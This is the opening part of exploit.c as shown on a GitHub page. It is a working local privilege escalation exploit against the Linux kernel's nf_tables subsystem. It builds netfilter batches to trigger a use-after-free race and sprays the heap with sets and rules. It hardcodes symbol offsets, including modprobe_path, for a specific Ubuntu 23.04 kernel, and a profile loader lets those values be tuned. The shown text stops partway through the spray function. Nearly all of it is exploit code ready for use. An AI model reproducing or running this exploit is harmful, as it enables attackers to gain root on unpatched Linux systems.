-
Notifications
You must be signed in to change notification settings - Fork 77
/
exploit.c
2171 lines (1706 loc) · 61.3 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/****************************************************************************
*
* Please read EXPLOIT.md carefully before using.
*
*/
#define _GNU_SOURCE
#include <pthread.h>
#include <setjmp.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/object.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/table.h>
uint64_t cfg_race_set_slab = 1;
uint64_t cfg_race_set_elem_count = 0x300 * 0x800;
useconds_t cfg_initial_usleep = 4 * 1000 * 1000;
useconds_t cfg_race_lead_usleep = 100 * 1000;
useconds_t cfg_race_lag_usleep = 600 * 1000;
useconds_t cfg_reuse_usleep = 100 * 1000;
/*
* Specific to the Linux kernel distributed in binary form as the following
* packages from Ubuntu 23.04 (Lunar Lobster):
* * "linux-image-6.2.0-20-generic", version "6.2.0-20.20", and
* * "linux-modules-6.2.0-20-generic", version "6.2.0-20.20".
*/
uint64_t cfg_free_percpu = 0xffffffffa419d240 - 0xffffffffa3e00000;
uint64_t cfg_modprobe_path = 0xffffffffa688b900 - 0xffffffffa3e00000;
uint64_t cfg_nft_counter_destroy = 0xffffffffc06a3700 - 0xffffffffc0680000;
uint64_t cfg_nft_counter_ops = 0xffffffffc06b47a0 - 0xffffffffc0680000;
/*
0000000000023700 <nft_counter_destroy>:
23700: e8 00 00 00 00 call <__fentry__>
23705: 55 push rbp
23706: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
2370a: 48 89 e5 mov rbp,rsp
2370d: e8 00 00 00 00 call <free_percpu>
23712: 5d pop rbp
23713: 31 f6 xor esi,esi
23715: 31 ff xor edi,edi
23717: e9 00 00 00 00 jmp <__x86_return_thunk>
*/
uint64_t cfg_nft_counter_destroy_call_offset = (0x23712 - 0x23700) - 8;
uint64_t cfg_nft_counter_destroy_call_mask = 0xffffffff;
uint64_t cfg_nft_counter_destroy_call_check = 0xe8e58948;
#define uaf_chunk_size 0x80
#define mnl_batch_limit (1024 * 1024)
char mnl_batch_buffer[2 * mnl_batch_limit];
char uaf_set_key[8 + 0x34];
char log_prefix[0x100];
static void cfg_print()
{
printf("\nUsing profile:\n========\n");
printf("%-19ld race_set_slab # {0,1}\n", cfg_race_set_slab);
printf("%-19ld race_set_elem_count # k\n", cfg_race_set_elem_count / 1000);
printf("%-19d initial_sleep # ms\n", cfg_initial_usleep / 1000);
printf("%-19d race_lead_sleep # ms\n", cfg_race_lead_usleep / 1000);
printf("%-19d race_lag_sleep # ms\n", cfg_race_lag_usleep / 1000);
printf("%-19d reuse_sleep # ms\n", cfg_reuse_usleep / 1000);
printf("%-19lx free_percpu # hex\n", cfg_free_percpu);
printf("%-19lx modprobe_path # hex\n", cfg_modprobe_path);
printf("%-19lx nft_counter_destroy # hex\n", cfg_nft_counter_destroy);
printf("%-19lx nft_counter_ops # hex\n", cfg_nft_counter_ops);
printf("%-19lx nft_counter_destroy_call_offset # hex\n", cfg_nft_counter_destroy_call_offset);
printf("%-19lx nft_counter_destroy_call_mask # hex\n", cfg_nft_counter_destroy_call_mask);
printf("%-19lx nft_counter_destroy_call_check # hex\n", cfg_nft_counter_destroy_call_check);
printf("========\n\n");
}
int cfg_load_line(char *line)
{
char *saveptr = NULL;
char *value = strtok_r(line, "\t ", &saveptr);
if (value == NULL) {
return EFAULT;
}
char *key = NULL;
do {
key = strtok_r(NULL, "\t\n ", &saveptr);
if (key == NULL) {
return EFAULT;
}
} while (strlen(key) < 2);
errno = 0;
if (strcmp(key, "race_set_slab") == 0) {
cfg_race_set_slab = strtoul(value, NULL, 0);
}
else if (strcmp(key, "race_set_elem_count") == 0) {
cfg_race_set_elem_count = 1000L * strtoul(value, NULL, 0);
}
else if (strcmp(key, "initial_sleep") == 0) {
cfg_initial_usleep = 1000L * strtoul(value, NULL, 0);
}
else if (strcmp(key, "race_lead_sleep") == 0) {
cfg_race_lead_usleep = 1000L * strtoul(value, NULL, 0);
}
else if (strcmp(key, "race_lag_sleep") == 0) {
cfg_race_lag_usleep = 1000L * strtoul(value, NULL, 0);
}
else if (strcmp(key, "reuse_sleep") == 0) {
cfg_reuse_usleep = 1000L * strtoul(value, NULL, 0);
}
else if (strcmp(key, "free_percpu") == 0) {
cfg_free_percpu = strtoul(value, NULL, 16);
}
else if (strcmp(key, "modprobe_path") == 0) {
cfg_modprobe_path = strtoul(value, NULL, 16);
}
else if (strcmp(key, "nft_counter_destroy") == 0) {
cfg_nft_counter_destroy = strtoul(value, NULL, 16);
}
else if (strcmp(key, "nft_counter_ops") == 0) {
cfg_nft_counter_ops = strtoul(value, NULL, 16);
}
else if (strcmp(key, "nft_counter_destroy_call_offset") == 0) {
cfg_nft_counter_destroy_call_offset = strtoul(value, NULL, 16);
}
else if (strcmp(key, "nft_counter_destroy_call_mask") == 0) {
cfg_nft_counter_destroy_call_mask = strtoul(value, NULL, 16);
}
else if (strcmp(key, "nft_counter_destroy_call_check") == 0) {
cfg_nft_counter_destroy_call_check = strtoul(value, NULL, 16);
}
else {
errno = ENOENT;
}
return errno;
}
static void cfg_load(char *path)
{
FILE *stream = fopen(path, "r");
if (stream != NULL) {
char *line = NULL;
size_t len = 0;
ssize_t nread;
while ((nread = getline(&line, &len, stream)) != -1) {
printf("[*] Profile line: %s", line);
if (cfg_load_line(line) != 0) {
printf("[!] ERROR\n");
}
}
fclose(stream);
}
}
void hex_dump(const char *data, ssize_t size)
{
if (size <= 0) {
printf("\n*** empty ***\n");
}
else {
char hex_buf[0x40];
char ascii_buf[0x20];
ssize_t ix = 0;
int pos = 0;
do {
unsigned char byte = data[ix];
sprintf(hex_buf + 3 * pos, "%02x ", byte);
ascii_buf[pos] = ((0x20 <= byte) && (byte < 0x7e))? byte: '.';
++ ix;
++ pos;
if ((ix == size) || (pos == 0x10)) {
ascii_buf[pos] = 0;
printf("\n%04lx: %-48s | %s", ix - pos, hex_buf, ascii_buf);
pos = 0;
}
} while (ix < size);
printf("\n");
}
}
void file_write(char *path, int flags, mode_t mode, char *content, size_t content_size)
{
int res;
int fd = open(path, flags, mode);
if (fd == -1) {
err(1, "Cannot into open()");
}
ssize_t size = write(fd, content, content_size);
if (size != content_size) {
err(1, "Cannot into write()");
}
res = close(fd);
if (res != 0) {
err(1, "Cannot into close()");
}
}
static void append_del_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
uint32_t family, char *table_name, char *set_name)
{
struct nftnl_set *set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_DELSET,
NFPROTO_INET,
NLM_F_ACK,
seq
);
nftnl_set_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_set_free(set);
}
static void append_new_obj(struct mnl_nlmsg_batch *batch, uint32_t seq,
uint32_t family, char *table_name, char *obj_name,
char *obj_userdata, uint32_t obj_userdata_len)
{
struct nftnl_obj *obj = nftnl_obj_alloc();
if (obj == NULL) {
errx(1, "Cannot into nftnl_obj_alloc()");
}
nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, family);
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
if (obj_userdata) {
nftnl_obj_set_data(obj, NFTNL_OBJ_USERDATA, obj_userdata, obj_userdata_len);
}
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWOBJ,
family,
NLM_F_ACK,
seq++
);
nftnl_obj_nlmsg_build_payload(nlh, obj);
nftnl_obj_free(obj);
mnl_nlmsg_batch_next(batch);
}
static void append_del_obj(struct mnl_nlmsg_batch *batch, uint32_t seq,
uint32_t family, char *table_name, char *obj_name)
{
struct nftnl_obj *obj = nftnl_obj_alloc();
if (obj == NULL) {
errx(1, "Cannot into nftnl_obj_alloc()");
}
nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, family);
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_DELOBJ,
family,
NLM_F_ACK,
seq++
);
nftnl_obj_nlmsg_build_payload(nlh, obj);
nftnl_obj_free(obj);
mnl_nlmsg_batch_next(batch);
}
static void append_del_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
uint32_t family, char *table_name, char *chain_name, uint64_t rule_handle)
{
struct nftnl_rule *rule = nftnl_rule_alloc();
if (rule == NULL) {
errx(1, "Cannot into nftnl_rule_alloc()");
}
nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);
nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family);
if (rule_handle != -1) {
nftnl_rule_set_u64(rule, NFTNL_RULE_HANDLE, rule_handle);
}
struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_DELRULE,
family,
NLM_F_ACK,
seq
);
nftnl_rule_nlmsg_build_payload(nlh, rule);
mnl_nlmsg_batch_next(batch);
nftnl_rule_free(rule);
}
uint32_t pwn_family = NFPROTO_INET;
char *pwn_table = "testfirewall";
char *pwn_lookup_set = "set_A";
char *pwn_lookup_chain = "OUTPUT";
char *pwn_log_chain = "INPUT";
char *pwn_dynset_set = "set_dyn";
char *pwn_dynset_chain = "chain_dyn";
static void pwn_create_table(struct mnl_nlmsg_batch *batch, uint32_t seq)
{
struct nftnl_table *table = nftnl_table_alloc();
if (table == NULL) {
errx(1, "Cannot into nftnl_table_alloc()");
}
nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, pwn_family);
nftnl_table_set_str(table, NFTNL_TABLE_NAME, pwn_table);
struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE,
pwn_family,
NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_table_nlmsg_build_payload(nlh, table);
mnl_nlmsg_batch_next(batch);
nftnl_table_free(table);
}
static void pwn_create_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *set_name, uint32_t set_id, uint32_t set_flags,
uint32_t set_key_len, uint32_t set_desc_size,
void *set_userdata, uint32_t set_userdata_len)
{
struct nftnl_set *set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set, NFTNL_SET_ID, set_id);
nftnl_set_set_u32(set, NFTNL_SET_FLAGS, set_flags);
nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, set_key_len);
if (set_desc_size != 0) {
nftnl_set_set_u32(set, NFTNL_SET_DESC_SIZE, set_desc_size);
}
if (set_userdata != NULL) {
nftnl_set_set_data(set, NFTNL_SET_USERDATA, set_userdata, set_userdata_len);
}
struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET,
pwn_family,
NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_set_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_set_free(set);
}
static void pwn_create_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *chain_name)
{
struct nftnl_chain *chain = nftnl_chain_alloc();
if (chain == NULL) {
errx(1, "Cannot into nftnl_chain_alloc()");
}
nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family);
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table);
nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWCHAIN,
pwn_family,
NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_chain_nlmsg_build_payload(nlh, chain);
mnl_nlmsg_batch_next(batch);
nftnl_chain_free(chain);
}
static void pwn_create_lookup_set_elem(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *set_name,
void *set_elem_key, uint32_t set_elem_key_len)
{
char set_elem_userdata[0x2f] = {};
struct nftnl_set *set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
if (set_elem == NULL) {
errx(1, "Cannot into nftnl_set_elem_alloc()");
}
nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, set_elem_key_len);
nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_USERDATA, set_elem_userdata, sizeof(set_elem_userdata));
nftnl_set_elem_add(set, set_elem);
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSETELEM,
NFPROTO_INET,
NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
seq
);
nftnl_set_elems_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_set_free(set);
}
static void pwn_create_lookup_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *chain_name, char *set_name)
{
struct nftnl_rule *rule = nftnl_rule_alloc();
if (rule == NULL) {
errx(1, "Cannot into nftnl_rule_alloc()");
}
nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family);
nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table);
nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
struct nftnl_expr *lookup = nftnl_expr_alloc("lookup");
if (lookup == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
nftnl_expr_set_str(lookup, NFTNL_EXPR_LOOKUP_SET, set_name);
nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_FLAGS, 0);
nftnl_rule_add_expr(rule, lookup);
struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE,
pwn_family,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_rule_nlmsg_build_payload(nlh, rule);
mnl_nlmsg_batch_next(batch);
nftnl_rule_free(rule);
}
static void pwn_create_log_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *chain_name, char *log_prefix)
{
char rule_userdata[0x2f] = {};
struct nftnl_rule *rule = nftnl_rule_alloc();
if (rule == NULL) {
errx(1, "Cannot into nftnl_rule_alloc()");
}
nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family);
nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table);
nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
nftnl_rule_set_data(rule, NFTNL_RULE_USERDATA, rule_userdata, sizeof(rule_userdata));
struct nftnl_expr *byteorder = nftnl_expr_alloc("byteorder");
if (byteorder == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_OP, NFT_BYTEORDER_NTOH);
nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_SIZE, 8);
nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_SREG, NFT_REG_1);
nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_DREG, NFT_REG_2);
nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_LEN, 1);
nftnl_rule_add_expr(rule, byteorder);
struct nftnl_expr *log = nftnl_expr_alloc("log");
if (log == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_u32(log, NFTNL_EXPR_LOG_LEVEL, NFT_LOGLEVEL_AUDIT);
nftnl_expr_set_str(log, NFTNL_EXPR_LOG_PREFIX, log_prefix);
nftnl_rule_add_expr(rule, log);
struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE,
pwn_family,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_rule_nlmsg_build_payload(nlh, rule);
mnl_nlmsg_batch_next(batch);
nftnl_rule_free(rule);
}
static void pwn_create_dynset_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *set_name, uint32_t set_id)
{
struct nftnl_set *set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set, NFTNL_SET_ID, set_id);
nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_EVAL | NFT_SET_EXPR);
nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 0x34);
struct nftnl_expr *counter = nftnl_expr_alloc("counter");
if (counter == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_set_add_expr(set, counter);
struct nftnl_expr *quota = nftnl_expr_alloc("quota");
if (quota == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_u64(quota, NFTNL_EXPR_QUOTA_BYTES, 0x7fffffffffffffff);
nftnl_set_add_expr(set, quota);
struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET,
pwn_family,
NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_set_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_set_free(set);
}
static void pwn_create_dynset_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *chain_name)
{
struct nftnl_chain *chain = nftnl_chain_alloc();
if (chain == NULL) {
errx(1, "Cannot into nftnl_chain_alloc()");
}
nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family);
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table);
nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_str(chain, NFTNL_CHAIN_TYPE, "filter");
nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT);
nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 0);
struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWCHAIN,
pwn_family,
NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_chain_nlmsg_build_payload(nlh, chain);
mnl_nlmsg_batch_next(batch);
nftnl_chain_free(chain);
}
static void pwn_create_dynset_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
char *chain_name, char *dynset_set_name)
{
struct nftnl_rule *rule = nftnl_rule_alloc();
if (rule == NULL) {
errx(1, "Cannot into nftnl_rule_alloc()");
}
nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family);
nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table);
nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);
struct nftnl_expr *payload = nftnl_expr_alloc("payload");
if (payload == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_INNER_HEADER);
nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_OFFSET, 0);
nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_LEN, 1);
nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1);
nftnl_rule_add_expr(rule, payload);
struct nftnl_expr *dynset = nftnl_expr_alloc("dynset");
if (dynset == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_str(dynset, NFTNL_EXPR_DYNSET_SET_NAME, dynset_set_name);
nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_OP, htonl(NFT_DYNSET_OP_UPDATE));
nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_FLAGS, NFT_DYNSET_F_EXPR);
nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_SREG_KEY, NFT_REG_1);
struct nftnl_expr *counter = nftnl_expr_alloc("counter");
if (counter == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_add_expr(dynset, NFTNL_EXPR_DYNSET_EXPR, counter);
struct nftnl_expr *quota = nftnl_expr_alloc("quota");
if (quota == NULL) {
errx(1, "Cannot into nftnl_expr_alloc()");
}
nftnl_expr_set_u64(quota, NFTNL_EXPR_QUOTA_BYTES, 0x7fffffffffffffff);
nftnl_expr_add_expr(dynset, NFTNL_EXPR_DYNSET_EXPR, quota);
nftnl_rule_add_expr(rule, dynset);
struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE,
pwn_family,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
seq
);
nftnl_rule_nlmsg_build_payload(nlh, rule);
mnl_nlmsg_batch_next(batch);
nftnl_rule_free(rule);
}
static void pwn_prepare(struct mnl_socket *nl)
{
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_prepare\n");
seq = time(NULL);
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
pwn_create_table(batch, seq++);
pwn_create_chain(batch, seq++, pwn_lookup_chain);
pwn_create_chain(batch, seq++, pwn_log_chain);
/* load "nft_log.ko" now to reduce noise when racing */
pwn_create_log_rule(batch, seq++, pwn_log_chain, log_prefix);
pwn_create_dynset_set(batch, seq++, pwn_dynset_set, 0);
pwn_create_dynset_chain(batch, seq++, pwn_dynset_chain);
pwn_create_dynset_rule(batch, seq++, pwn_dynset_chain, pwn_dynset_set);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_uaf_spray(struct mnl_socket *nl)
{
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_uaf_spray\n");
memset(uaf_set_key, 0, sizeof(uaf_set_key));
uaf_set_key[4] = 0x90;
char set_userdata_buf[0x100] = {};
char *set_userdata;
uint32_t set_userdata_size;
if (cfg_race_set_slab == 0) {
set_userdata = NULL;
set_userdata_size = 0;
}
else {
set_userdata = set_userdata_buf;
set_userdata_size = sizeof(set_userdata_buf);
}
seq = time(NULL);
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
for (int spray = - 0x50; spray < 10; ++ spray) {
if (spray == 0) {
pwn_create_set(batch, seq++, pwn_lookup_set, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size);
}
else {
char *set_name;
asprintf(&set_name, "spray_set_%04hx", spray);
pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size);
}
}
for (int spray = - 0x60; spray < 0x21; ++ spray) {
if (spray == 0) {
pwn_create_lookup_set_elem(batch, seq++, pwn_lookup_set, uaf_set_key, sizeof(uaf_set_key));
}
else {
pwn_create_log_rule(batch, seq++, pwn_log_chain, log_prefix);
}
}
